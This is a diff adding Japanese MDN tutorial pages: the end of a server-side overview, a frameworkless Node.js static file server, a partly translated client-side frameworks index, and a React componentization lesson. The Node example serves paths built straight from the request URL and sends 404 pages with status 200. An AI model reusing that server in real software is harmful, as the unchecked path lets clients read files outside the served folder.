+<p>基本的な理解があれば、この節のモジュールに進む準備ができているでしょう。</p> + +<h2 id="Modules" name="Modules">モジュール</h2> + +<p>このトピックは次のモジュールがあります。最初のモジュールから始めるべきで、次に続くモジュールのどれかに進んで、そこでWebフレームワークを使ってとても有名な2つのサーバサイド言語を使う方法が示されます。</p> + +<dl> + <dt><a href="/ja/docs/Learn/Server-side/First_steps">サーバサイド Web サイトプログラミングの最初の一歩</a></dt> + <dd>このモジュールではサーバ技術の無知な人向けに、サーバサイド Web プログラミングについての情報を提供します。それにはサーバサイドプログラミングについての基本的な質問 — "それは何なのか", "クライアントサイドプログラミングと何が違うのか", "なぜ便利なのか" — や、サーバサイド Web フレームワークの概要や、あなたのサイトに最も合うものを選ぶ方法のガイドが含まれます。最後に Web サーバセキュリティの入門セクションがあります。</dd> + <dt><a href="/ja/docs/Learn/Server-side/Django">Django Web フレームワーク (Python)</a></dt> + <dd>Django は Python で書かれた、極めて人気のある、完全な機能のあるサーバサイドフレームワークです。このモジュールではなぜ Django がこうも良い Web サーバフレームワークであるのかや、開発環境のセットアップ方法や、これを使ってよくあるタスクを行う方法を説明します。</dd> + <dt><a href="/ja/docs/Learn/Server-side/Express_Nodejs">Express Web フレームワーク (Node.js/JavaScript)</a></dt> + <dd>Express は JavaScript で書かれて node.js の実行環境でホストされる、人気のある Web フレームワークです。このモジュールではこのフレームワークの主な利点や、開発環境のセットアップ方法や、よくある Web 開発・デプロイのタスクを行う方法を説明します。</dd> +</dl> + +<h2 id="あわせて参照">あわせて参照</h2> + +<dl> + <dt><a href="https://developer.mozilla.org/ja/docs/Learn/Server-side/Node_server_without_framework">フレームワークなしの Node サーバ</a></dt> + <dd>この記事では、フレームワークを使用せずに、Node.jsだけで構築された単純な静的ファイルサーバを紹介します。</dd> +</dl> diff --git a/files/ja/learn/server-side/node_server_without_framework/index.html b/files/ja/learn/server-side/node_server_without_framework/index.html new file mode 100644 index 0000000000..a7ca7493b5 --- /dev/null +++ b/files/ja/learn/server-side/node_server_without_framework/index.html @@ -0,0 +1,163 @@ +--- +title: フレームワークなしの Node.js サーバ +slug: Learn/Server-side/Node_server_without_framework +tags: + - JavaScript + - NeedsContent + - Node + - サーバ + - フレームワークなし +translation_of: Learn/Server-side/Node_server_without_framework +--- +<div>{{LearnSidebar}}</div> + +<p class="summary">この記事では、フレームワークを使用せずに、Node.jsだけで構築された単純な静的ファイルサーバを紹介します。</p> + +<p><a href="https://nodejs.org/en/">Node.js</a>用に、サーバを稼働させるのに役立つ多くのフレームワークがあります。</p> + +<p>最も人気があるのは、次のようなものです：</p> + +<ul> + <li><a href="http://expressjs.com/">Express</a>: 広く使われているフレームワーク</li> + <li><a href="https://hapijs.com/">Hapi.js</a>: アプリケーションとサービスを構築するための豊富なフレームワーク</li> + <li><a href="https://www.totaljs.com/">Total</a>: 他のフレームワークやモジュールに依存しない、オールインワンのNode.jsフレームワーク。</li> +</ul> + +<p>これらは、どんな状況にも適しているというわけではありません。開発者は既存のフレームワークに依存することなく、独自のサーバを構築する必要があることもあるでしょう。</p> + +<h2 id="静的ファイルサーバーの例">静的ファイルサーバーの例</h2> + +<p>Node.jsで構築された、簡単な静的ファイルサーバの例を以下に示します。</p> + +<pre class="brush: js line-numbers language-js">var http = require('http'); +var fs = require('fs'); +var path = require('path'); + +http.createServer(function (request, response) { + console.log('request ', request.url); + + var filePath = '.' + request.url; + if (filePath == './') { + filePath = './index.html'; + } + + var extname = String(path.extname(filePath)).toLowerCase(); + var mimeTypes = { + '.html': 'text/html', + '.js': 'text/javascript', + '.css': 'text/css', + '.json': 'application/json', + '.png': 'image/png', + '.jpg': 'image/jpg', + '.gif': 'image/gif', + '.wav': 'audio/wav', + '.mp4': 'video/mp4', + '.woff': 'application/font-woff', + '.ttf': 'application/font-ttf', + '.eot': 'application/vnd.ms-fontobject', + '.otf': 'application/font-otf', + '.svg': 'application/image/svg+xml' + }; + + var contentType = mimeTypes[extname] || 'application/octet-stream'; + + fs.readFile(filePath, function(error, content) { + if (error) { + if(error.code == 'ENOENT') { + fs.readFile('./404.html', function(error, content) { + response.writeHead(200, { 'Content-Type': contentType }); + response.end(content, 'utf-8'); + }); + } + else { + response.writeHead(500); + response.end('Sorry, check with the site admin for error: '+error.code+' ..\n'); + response.end(); + } + } + else { + response.writeHead(200, { 'Content-Type': contentType }); + response.end(content, 'utf-8'); + } + }); + +}).listen(8125); +console.log('Server running at http://127.0.0.1:8125/');</pre> + +<h3 id="各部の説明">各部の説明</h3> + +<p>第1行から第3行までは、Node.jsが提供するモジュールを組み込みます。おおむね「インポート」に似たような手続きです。</p> + +<pre class="brush: js language-js">var http = require('http'); +var fs = require('fs'); +var path = require('path'); +</pre> + +<p>次にある関数で、サーバーを生成します。 <code>https.createServer</code>は、サーバーオブジェクトを返しますが、下の例ではポート8125で要求の受付を開始します。</p> + +<pre class="brush: js language-js">http.createServer(function (request, response) { + ... +}).listen(8125); +</pre> + +<p>次の4行では、要求があったURLから、ファイルへのパスを決定します。ファイル名が明示されていないときは、デフォルト名を使うようにします。</p> + +<pre class="brush: js">var filePath = '.' + request.url; +if (filePath == './') { + filePath = './index.html'; +} +</pre> + +<p>例えば、<code>example.org</code>というURLを要求されたときは、<code>example.org/index.html</code>.のことだと解釈します。</p> + +<p>次に、要求されたファイルの拡張子を調べ、以下に定義する<a href="/ja/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIMEタイプ</a>のどれかと一致したら、そのタイプを使います。一致しない場合には、デフォルトのタイプ<code>application/octet-stream</code>を使うようにします。.</p> + +<pre class="brush: js">var mimeTypes = { + '.html': 'text/html', + '.js': 'text/javascript', + '.css': 'text/css', + '.json': 'application/json', + '.png': 'image/png', + '.jpg': 'image/jpg', + '.gif': 'image/gif', + '.wav': 'audio/wav', + '.mp4': 'video/mp4', + '.woff': 'application/font-woff', + '.ttf': 'application/font-ttf', + '.eot': 'application/vnd.ms-fontobject', + '.otf': 'application/font-otf', + '.svg': 'application/image/svg+xml' +}; + +var contentType = mimeTypes[extname] || 'application/octet-stream'; +</pre> + +<p>最後に、ファイルの情報をクライアントに返送します。この関数では、あらかじめ用意してあった<code>filePath</code>変数を使ってファイルを読み込みます。</p> + +<pre class="brush: js">fs.readFile(filePath, function(error, content) { + ... +}); +</pre> + +<p>関数のなかで最初にやることは、起こりうるエラーへの対応です。一番多いのは、存在しないファイルを要求された場合（<code>ENOENT</code>）で、エラーコード404に対応するページを返してやります。</p> + +<pre class="brush: js">if(error.code == 'ENOENT') { + fs.readFile('./404.html', function(error, content) { + response.writeHead(200, { 'Content-Type': contentType }); + response.end(content, 'utf-8'); + }); +} +else { + response.writeHead(500); + response.end('Sorry, check with the site admin for error: '+error.code+' ..\n'); + response.end(); +}</pre> + +<p>何もエラーが検出されなかったら、MIME型をヘッダーに付けて、要求されたファイルを返してやります。</p> + +<pre class="brush: js">response.writeHead(200, { 'Content-Type': contentType }); +response.end(content, 'utf-8');</pre> + +<h2 id="拡張の検討">拡張の検討</h2> + +<p>静的なファイルの返送機能だけでなく、要求の度にページを動的に生成する機能を付け加えることを考えてみてください。</p> diff --git a/files/ja/learn/tools_and_testing/client-side_javascript_frameworks/index.html b/files/ja/learn/tools_and_testing/client-side_javascript_frameworks/index.html new file mode 100644 index 0000000000..f49b505c56 --- /dev/null +++ b/files/ja/learn/tools_and_testing/client-side_javascript_frameworks/index.html @@ -0,0 +1,138 @@ +--- +title: Understanding client-side JavaScript frameworks +slug: Learn/Tools_and_testing/Client-side_JavaScript_frameworks +tags: + - Beginner + - Frameworks + - JavaScript + - Learn + - NeedsTranslation + - TopicStub + - client-side +translation_of: Learn/Tools_and_testing/Client-side_JavaScript_frameworks +--- +<div>{{LearnSidebar}}</div> + +<p class="summary">JavaScriptフレームワークは、最新のフロントエンドWeb開発に欠かせないものであり、開発者にスケーラブルでインタラクティブなWebアプリケーションを構築するための試行錯誤されたツールを提供しています。現代の多くの企業では、フレームワークをツールの標準的な一部として使用しているため、多くのフロントエンド開発の仕事でフレームワークの経験が必要とされています。</p> + +<p class="summary">フロントエンド開発者を目指していると、フレームワークを学ぶ際にどこから始めればいいのか悩むことがあります。— there are so many different frameworks to choose from, new ones appear all the time, they mostly work in a similar way but do some things differently, and there are some specific things to be careful about when using frameworks.</p> + +<p class="summary">この記事では、あなたがフレームワークを学び始めるための快適な出発点を提供することを目的としています。私たちは、React/ReactDOMやVue、その他の特定のフレームワークについて知っておく必要があるすべてのことを網羅的に教えることを目指しているわけではありません。その代わりに、以下のようなより基本的な質問に答えたいと思います。</p> + +<ul> + <li class="summary">なぜフレームワークを使うべきなのか？どんな問題を解決してくれるのか？</li> + <li class="summary">フレームワークを選ぼうとするとき、どのような質問をすればいいか？フレームワークを使う必要があるのか？</li> + <li class="summary">フレームワークにはどのような機能があるのか？フレームワークは一般的にどのように機能するのか、そしてその機能の実装はどのように異なるのか？</li> + <li class="summary">これらは素のJavaScriptやHTMLとどのように関係しているのか？</li> +</ul> + +<p class="summary">その後、異なるフレームワークの選択の要点をカバーするチュートリアルをいくつか提供し、あなたが自分自身でより深く学び始めるのに十分なコンテキストと親しみやすさを提供します。アクセシビリティなどのウェブプラットフォームの基本的なベストプラクティスを忘れずに、実用的な方法でフレームワークについて学んでいただきたいと思います。</p> + +<p class="summary"><strong><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Introduction">Get started now, with "Introduction to client-side frameworks"</a></strong></p> + +<h2 id="Prerequisites">Prerequisites</h2> + +<p>You should really learn the basics of the core web languages first before attempting to move on to learning client-side frameworks — <a href="/en-US/docs/Learn/HTML">HTML</a>, <a href="/en-US/docs/Learn/CSS">CSS</a>, and especially <a href="/en-US/docs/Learn/JavaScript">JavaScript</a>.</p> + +<p>Your code will be richer and more professional as a result, and you'll be able to troubleshoot problems with more confidence if you understand the fundamental web platform features that the frameworks are building on top of.</p> + +<h2 id="Introductory_guides">Introductory guides</h2> + +<dl> + <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Introduction">1. Introduction to client-side frameworks</a></dt> + <dd>We begin our look at frameworks with a general overview of the area, looking at a brief history of JavaScript and frameworks, why frameworks exist and what they give us, how to start thinking about choosing a framework to learn, and what alternatives there are to client-side frameworks.</dd> + <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Main_features">2. Framework main features</a></dt> + <dd>Each major JavaScript framework has a different approach to updating the DOM, handling browser events, and providing an enjoyable developer experience. This article will explore the main features of “the big 4” frameworks, looking at how frameworks tend to work from a high level and the differences between them.</dd> +</dl> + +<h2 id="React_tutorials">React tutorials</h2> + +<div class="blockIndicator note"> +<p><strong>Note</strong>: React tutorials last tested in May 2020, with React/ReactDOM 16.13.1 and create-react-app 3.4.1.</p> + +<p>If you need to check your code against our version, you can find a finished version of the sample React app code in our <a href="https://github.com/mdn/todo-react">todo-react repository</a>. For a running live version, see <a href="https://mdn.github.io/todo-react-build/">https://mdn.github.io/todo-react-build/</a>.</p> +</div> + +<dl> + <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_getting_started">1. Getting started with React</a></dt> + <dd>In this article we will say hello to React. We'll discover a little bit of detail about its background and use cases, set up a basic React toolchain on our local computer, and create and play with a simple starter app, learning a bit about how React works in the process.</dd> + <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_todo_list_beginning">2. Beginning our React todo list</a></dt> + <dd>Let's say that we’ve been tasked with creating a proof-of-concept in React – an app that allows users to add, edit, and delete tasks they want to work on, and also mark tasks as complete without deleting them. This article will walk you through putting the basic <code>App</code> component structure and styling in place, ready for individual component definition and interactivity, which we'll add later.</dd> + <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_components">3. Componentizing our React app</a></dt> + <dd>At this point, our app is a monolith. Before we can make it do things, we need to break it apart into manageable, descriptive components. React doesn’t have any hard rules for what is and isn’t a component – that’s up to you! In this article, we will show you a sensible way to break our app up into components.</dd> + <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_events_state">4. React interactivity: Events and state</a></dt> + <dd>With our component plan worked out, it's now time to start updating our app from a completely static UI to one that actually allows us to interact and change things. In this article we'll do this, digging into events and state along the way.</dd> + <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_filtering_conditional_rendering">5. React interactivity: Editing, filtering, conditional rendering</a></dt> + <dd>As we near the end of our React journey (for now at least), we'll add the finishing touches to the main areas of functionality in our Todo list app. This includes allowing you to edit existing tasks and filtering the list of tasks between all, completed, and incomplete tasks. We'll look at conditional UI rendering along the way.</dd> + <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_accessibility">6. Accessibility in React</a></dt> + <dd>In our final tutorial article, we'll focus on (pun intended) accessibility, including focus management in React, which can improve usability and reduce confusion for both keyboard-only and screen reader users.</dd> + <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_resources">7. React resources</a></dt> + <dd>Our final article provides you with a list of React resources that you can use to go further in your learning.</dd> +</dl> + +<h2 id="Ember_tutorials">Ember tutorials</h2> + +<div class="blockIndicator note"> +<p><strong>Note</strong>: Ember tutorials last tested in May 2020, with Ember/Ember CLI version 3.18.0.</p> + +<p>If you need to check your code against our version, you can find a finished version of the sample Ember app code in the <a href="https://github.com/NullVoxPopuli/ember-todomvc-tutorial/tree/master/steps/00-finished-todomvc/todomvc">ember-todomvc-tutorial repository</a>. For a running live version, see <a href="https://nullvoxpopuli.github.io/ember-todomvc-tutorial/">https://nullvoxpopuli.github.io/ember-todomvc-tutorial/</a> (this also includes a few additional features not covered in the tutorial).</p> +</div> + +<dl> + <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_getting_started">1. Getting started with Ember</a></dt> + <dd>In our first Ember article we will look at how Ember works and what it's useful for, install the Ember toolchain locally, create a sample app, and then do some initial setup to get it ready for development.</dd> + <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_structure_componentization">2. Ember app structure and componentization</a></dt> + <dd>In this article we'll get right on with planning out the structure of our TodoMVC Ember app, adding in the HTML for it, and then breaking that HTML structure into components.</dd> + <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_interactivity_events_state">3. Ember interactivity: Events, classes and state</a></dt> + <dd>At this point we'll start adding some interactivity to our app, providing the ability to add and display new todo items. Along the way, we'll look at using events in Ember, creating component classes to contain JavaScript code to control interactive features, and setting up a service to keep track of the data state of our app.</dd> + <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_conditional_footer">4. Ember Interactivity: Footer functionality, conditional rendering</a></dt> + <dd>Now it's time to start tackling the footer functionality in our app. Here we'll get the todo counter to update to show the correct number of todos still to complete, and correctly apply styling to completed todos (i.e. where the checkbox has been checked). We'll also wire up our "Clear completed" button. Along the way, we'll learn about using conditional rendering in our templates.</dd> + <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_routing">5. Routing in Ember</a></dt> + <dd>In this article we learn about routing or URL-based filtering as it is sometimes referred to. We'll use it to provide a unique URL for each of the three todo views — "All", "Active", and "Completed".</dd> + <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_resources">6. Ember resources and troubleshooting</a></dt> + <dd>Our final Ember article provides you with a list of resources that you can use to go further in your learning, plus some useful troubleshooting and other information.</dd> +</dl> + +<h2 id="Vue_tutorials">Vue tutorials</h2> + +<div class="blockIndicator note"> +<p><strong>Note</strong>: Vue tutorials last tested in May 2020, with Vue 2.6.11.</p> + +<p>If you need to check your code against our version, you can find a finished version of the sample Vue app code in our <a href="https://github.com/mdn/todo-vue">todo-vue repository</a>. For a running live version, see <a href="https://mdn.github.io/todo-vue/dist/">https://mdn.github.io/todo-vue/dist/</a>.</p> +</div> + +<dl> + <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_getting_started">1. Getting started with Vue</a></dt> + <dd>Now let's introduce Vue, the third of our frameworks. In this article, we'll look at a little bit of Vue background, learn how to install it and create a new project, study the high-level structure of the whole project and an individual component, see how to run the project locally, and get it prepared to start building our example.</dd> + <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_first_component">2. Creating our first Vue component</a></dt> + <dd>Now it's time to dive deeper into Vue, and create our own custom component — we'll start by creating a component to represent each item in the todo list. Along the way, we'll learn about a few important concepts such as calling components inside other components, passing data to them via props and saving data state.</dd> + <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_rendering_lists">3. Rendering a list of Vue components</a></dt> + <dd><span class="author-d-1gg9uz65z1iz85zgdz68zmqkz84zo2qoxwoxz78zz83zz84zz69z2z80zgwxsgnz83zfkt5e5tz70zz68zmsnjz122zz71z">At this point we've got a fully working component; we're now ready to add multiple <code>ToDoItem</code> components to our App. In this article we'll look at adding a set of todo item data to our <code>App.vue</code> component, which we'll then loop through and display inside <code>ToDoItem</code> components using the <code>v-for</code> directive. </span></dd> + <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_methods_events_models">4. Adding a new todo form: Vue events, methods, and models</a></dt> + <dd>We now have sample data in place and a loop that takes each bit of data and renders it inside a <code>ToDoItem</code> in our app. What we really need next is the ability to allow our users to enter their own todo items into the app, and for that, we'll need a text <code><input></code>, an event to fire when the data is submitted, a method to fire upon submission to add the data and rerender the list, and a model to control the data. This is what we'll cover in this article.</dd> + <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_styling">5. Styling Vue components with CSS</a></dt> + <dd>The time has finally come to make our app look a bit nicer. In this article, we'll explore the different ways of styling Vue components with CSS.</dd> + <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_computed_properties">6. Using Vue computed properties</a></dt> + <dd>In this article we'll add a counter that displays the number of completed todo items, using a feature of Vue called computed properties. These work similarly to methods but only re-run when one of their dependencies changes.</dd> + <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_conditional_rendering">7. Vue conditional rendering: editing existing todos</a></dt> + <dd>Now it is time to add one of the major parts of functionality that we're still missing — the ability to edit existing todo items. To do this, we will take advantage of Vue's conditional rendering capabilities — namely <code>v-if</code> and <code>v-else</code> — to allow us to toggle between the existing todo item view and an edit view where you can update todo item labels. We'll also look at adding functionality to delete todo items.</dd> + <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_refs_focus_management">8. Focus management with Vue refs</a></dt> + <dd>We are nearly done with Vue. The last bit of functionality to look at is focus management, or put another way, how we can improve our app's keyboard accessibility. We'll look at using Vue refs to handle this — an advanced feature that allows you to have direct access to the underlying DOM nodes below the virtual DOM, or direct access from one component to the internal DOM structure of a child component.</dd> + <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_resources">9. Vue resources</a></dt> + <dd>Now we'll round off our study of Vue by giving you a list of resources that you can use to go further in your learning, plus some other useful tips.</dd> +</dl> + +<h2 id="Which_frameworks_did_we_choose">Which frameworks did we choose?</h2> + +<p>We are publishing our initial set of articles with guides focusing on three of the major frameworks out there — React/ReactDOM, Ember, and Vue. There is a variety of reasons for this:</p> + +<ul> + <li>They are popular choices that will be around for a while — like with any software tool, it is good to stick with actively-developed choices that are likely to not be discontinued next week, and which will be desirable additions to your skill set when looking for a job.</li> + <li>They have strong communities and good documentation. It is very important to be able to get help with learning a complex subject, especially when you are just starting out.</li> + <li>We don't have the resources to cover <em>all</em> modern frameworks. That list would be very difficult to keep up-to-date anyway, as new ones appear all the time.</li> + <li>As a beginner, trying to choose what to focus on out of the huge number of choices available is a very real problem. Keeping the list short is therefore helpful.</li> +</ul> + +<p>We want to say this upfront — we've <strong>not</strong> chosen the frameworks we are focusing on because we think they are the best, or because we endorse them in any way. We just think they score highly on the above criteria.</p> + +<p>Note that we were hoping to have more frameworks included upon initial publication, but we decided to release the content and then add more framework guides later, rather than delay it longer. If your favourite framework is not represented in this content and you'd like to help change that, feel free to discuss it with us! Get in touch with us via <a href="https://wiki.mozilla.org/Matrix">Matrix</a>, or <a href="https://discourse.mozilla.org/c/mdn">Discourse</a>, or drop us a mail on the <a href="mailto:mdn-admins@mozilla.org">mdn-admins list</a>.</p> diff --git a/files/ja/learn/tools_and_testing/client-side_javascript_frameworks/react_components/index.html b/files/ja/learn/tools_and_testing/client-side_javascript_frameworks/react_components/index.html new file mode 100644 index 0000000000..43eedc76eb --- /dev/null +++ b/files/ja/learn/tools_and_testing/client-side_javascript_frameworks/react_components/index.html @@ -0,0 +1,450 @@ +--- +title: React アプリのコンポーネント化 +slug: Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_components +translation_of: Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_components +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_todo_list_beginning","Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_events_state", "Learn/Tools_and_testing/Client-side_JavaScript_frameworks")}}</div> + +<p class="summary">この時点では、アプリは一枚岩です。アプリに何かをさせる前に、管理しやすく、記述しやすいコンポーネントに分解する必要があります。React には、何がコンポーネントで何がコンポーネントでないかという難しいルールはありません。それはあなた次第なのです！この記事では、アプリをコンポーネントに分解するための賢明な方法を紹介します。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件：</th> + <td> + <p><a href="/en-US/docs/Learn/HTML">HTML</a>、<a href="/en-US/docs/Learn/CSS">CSS</a>、<a href="/en-US/docs/Learn/JavaScript">JavaScript</a> のコア言語に精通していること、<a href="/en-US/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Command_line">ターミナル/コマンドライン</a>の知識があること。</p> + </td> + </tr> + <tr> + <th scope="row">目的：</th> + <td>Todo リストアプリをコンポーネントに分割するための賢明な方法を示すこと。</td> + </tr> + </tbody> +</table> + +<h2 id="最初のコンポーネントの定義">最初のコンポーネントの定義</h2> + +<p>コンポーネントの定義は、ある程度練習をするまでは難しいと思われるかもしれませんが、要点は以下の通りです。</p> + +<ul> + <li>アプリの明らかな "カタマリ" を表している場合、それはおそらくコンポーネントです。</li> + <li>よく再利用されるのであれば、それはおそらくコンポーネントです。</li> +</ul> + +<p>2 番目の箇条書きは特に価値があります: 一般的な UI 要素からコンポーネントを作成することで、コードを一箇所で変更することができ、そのコンポーネントが使用される場所のどこでも変更内容を確認することができます。また、すぐにすべてをコンポーネントに分割する必要もありません。2 つ目の箇条書きをヒントに、UI の中で最も再利用され、最も重要な部分である TODO リスト項目からコンポーネントを作成してみましょう。</p> + +<h2 id="<Todo_>の作成"><code><Todo /></code>の作成</h2> + +<p>コンポーネントを作る前に、そのための新しいファイルを作らなければなりません。実は、コンポーネント用の新しいディレクトリの作成が必要です。次のコマンドは、<code>components</code> ディレクトリを作成し、その中に <code>Todo.js</code> というファイルを作成します。これらを実行する前に、アプリのルートにいることを確認してください！</p> + +<pre class="brush: bash notranslate">mkdir src/components +touch src/components/Todo.js</pre> + +<p>新しい <code>Todo.js</code> ファイルは今は空です。ファイルを開いて最初の行に次を入力してください。</p> + +<pre class="brush: js notranslate">import React from "react";</pre> + +<p>今回は <code>Todo</code> というコンポーネントを作る予定なので、以下のように <code>Todo.js</code> にもそのためのコードを追加していきます。このコードでは、関数の定義とエクスポートを一行で定義しています。</p> + +<pre class="brush: js notranslate">export default function Todo() { + return ( + + ); +}</pre> + +<p>ここまでは問題ありませんが、このコンポーネントは何かを返さなければなりません！<code>src/App.js</code> に戻って、最初の <code><a href="/en-US/docs/Web/HTML/Element/li"><li></a></code> をコピーし、<code>Todo.js</code> に貼り付けて、以下のように読み込みます。</p> + +<pre class="brush: js notranslate">export default function Todo() { + return ( + <li className="todo stack-small"> + <div className="c-cb"> + <input id="todo-0" type="checkbox" defaultChecked={true} /> + <label className="todo-label" htmlFor="todo-0"> + Eat + </label> + </div> + <div className="btn-group"> + <button type="button" className="btn"> + Edit <span className="visually-hidden">Eat</span> + </button> + <button type="button" className="btn btn__danger"> + Delete <span className="visually-hidden">Eat</span> + </button> + </div> + </li> + ); +}</pre> + +<div class="blockIndicator note"> +<p><strong>注意</strong>: コンポーネントは常に何かを返さなければなりません。もし今後あなたが何も返さないコンポーネントをレンダリングしようとしたら、React はブラウザにエラーを表示するでしょう。</p> +</div> + +<p>これで <code>Todo</code> コンポーネントは完成しました。<code>App.js</code> で、ファイルの先頭付近に次の行を追加して <code>Todo</code> をインポートします。</p> + +<pre class="brush: js notranslate">import Todo from "./components/Todo";</pre> + +<p>このコンポーネントをインポートすると、<code>App.js</code> の <code><li></code> 要素をすべて <code><Todo /></code> コンポーネント呼び出しに置き換えることができます。<code><ul></code> は以下のようになるはずです。</p> + +<pre class="brush: js notranslate"><ul + role="list" + className="todo-list stack-large stack-exception" + aria-labelledby="list-heading" +> + <Todo /> + <Todo /> + <Todo /> +</ul></pre> + +<p>ブラウザに戻ってみると、何か不幸なことに気づくでしょう: あなたのリストは、最初のタスクを3回繰り返すようになりました！</p> + +<p><img alt="Our todo list app, with todo components repeating because the label is hardcoded into the component" src="https://mdn.mozillademos.org/files/17255/todo-list-repeating-todos.png" style="border-style: solid; border-width: 1px; height: 954px; width: 856px;"></p> + +<p>私たちは食べたいだけではなく、他にもやるべきこと — そう、TODO があります。次に、異なるコンポーネント呼び出しで別々のコンテンツをレンダリングする方法を見てみましょう。</p> + +<h2 id="「一意の」_<Todo_>_を作成">「一意の」 <code><Todo /></code> を作成</h2> + +<p>コンポーネントが強力なのは、UI の一部を再利用し、その UI のソースを 1 か所で参照できるからです。問題は、通常、各コンポーネントのすべてを再利用するのではなく、ほとんどの部分を再利用しつつ小さな部分を変更したいということです。そこでプロップ( props )の出番です。</p> + +<h3 id="name_に何が入るでしょう？"><code>name</code> に何が入るでしょう？</h3> + +<p>完了させたいタスクの名前を追跡するために、それぞれの <code><Todo /></code> コンポーネントが一意の名前を表示するようにしなければなりません。</p> + +<p><code>App.js</code>では、それぞれの <code><Todo /></code> に名前のプロップを与えます。先ほどのタスクの名前を使ってみましょう。</p> + +<pre class="brush: js notranslate"><Todo name="Eat" /> +<Todo name="Sleep" /> +<Todo name="Repeat" /></pre> + +<p>ブラウザを更新すると...以前と全く同じものが表示されます。<code><Todo /></code> にプロップを与えましたが、まだ使っていません。<code>Todo.js</code> に戻って解決しましょう。</p> + +<p>最初に <code>Todo()</code> 関数の定義を変更して、<code>props</code> をパラメータとして受け取るようにします。<code>props</code> がコンポーネントによって正しく受信されているかどうかを確認したい場合は、先ほどと同様に <code>console.log()</code> で <code>props</code> を取得することができます。</p> + +<p>コンポーネントが <code>props</code> を取得していることを確認したら、<code>Eat</code> を <code>name</code> のプロップで置き換えることができます。覚えておいてください: JSX の式の途中では、中括弧を使って変数の値を注入します。</p> + +<p>これらをまとめると、<code>Todo()</code> 関数は次のようになるはずです。</p> + +<pre class="brush: js notranslate">export default function Todo(props) { + return ( + <li className="todo stack-small"> + <div className="c-cb"> + <input id="todo-0" type="checkbox" defaultChecked={true} /> + <label className="todo-label" htmlFor="todo-0"> + {props.name} + </label> + </div> + <div className="btn-group"> + <button type="button" className="btn"> + Edit <span className="visually-hidden">{props.name}</span> + </button> + <button type="button" className="btn btn__danger"> + Delete <span className="visually-hidden">{props.name}</span> + </button> + </div> + </li> + ); +}</pre> + +<p>これで、ブラウザには3つの一意のタスクが表示されるようになりました。しかし、もう一つの問題が残っています: これらはすべてデフォルトでチェックされています。</p> + +<p><img alt="Our todo list, with different todo labels now they are passed into the components as props" src="https://mdn.mozillademos.org/files/17256/todo-list-unique-todos.png" style="border-style: solid; border-width: 1px; height: 954px; width: 856px;"></p> + +<h3 id="それは_completed_ですか？">それは <code>completed</code> ですか？</h3> + +<p>元の静的リストでは、<code>Eat</code> だけがチェックされていました。もう一度言いますが、<code><Todo /></code>コンポーネントを構成するUIのほとんどを再利用しつつ、一つだけ変更したいのです。これは別のプロップが良い仕事をしてくれます！<code>App.js</code> での各 <code><Todo /></code> の呼び出しには、完了したことを示す新しいプロップを与えます。最初の (<code>Eat</code>) は <code>true</code> の値を持ち、残りは <code>false</code> にします。</p> + +<pre class="brush: js notranslate"><Todo name="Eat" completed={true} /> +<Todo name="Sleep" completed={false} /> +<Todo name="Repeat" completed={false} /></pre> + +<p>先ほどと同様に、これらのプロップを実際に使用するためには <code>Todo.js</code> に戻る必要があります。<code><input /></code> の <code>defaultChecked</code> 属性の値が <code>completed</code> したプロップと同じになるように変更します。これで、Todo コンポーネントの <code><input /></code> 要素は次のようになります。</p> + +<pre class="brush: js notranslate"><input id="todo-0" type="checkbox" defaultChecked={props.completed} /></pre> + +<p>そして、ブラウザを更新すると、<code>Eat</code> だけがチェックされていることが表示されるようになるはずです。</p> + +<p><img alt="Our todo list app, now with differing checked states - some checkboxes are checked, others not" src="https://mdn.mozillademos.org/files/17254/todo-list-differing-checked-states.png" style="border-style: solid; border-width: 1px; height: 954px; width: 856px;"></p> + +<p>各 <code><Todo /></code> コンポーネントの<code>conpleted</code> プロップを変更すると、ブラウザはそれに応じてレンダリングされた同等のチェックボックスをチェックしたり、チェックを外したりします。</p> + +<h3 id="id_をください"><code>id</code> をください</h3> + +<p>現在、<code><Todo /></code> 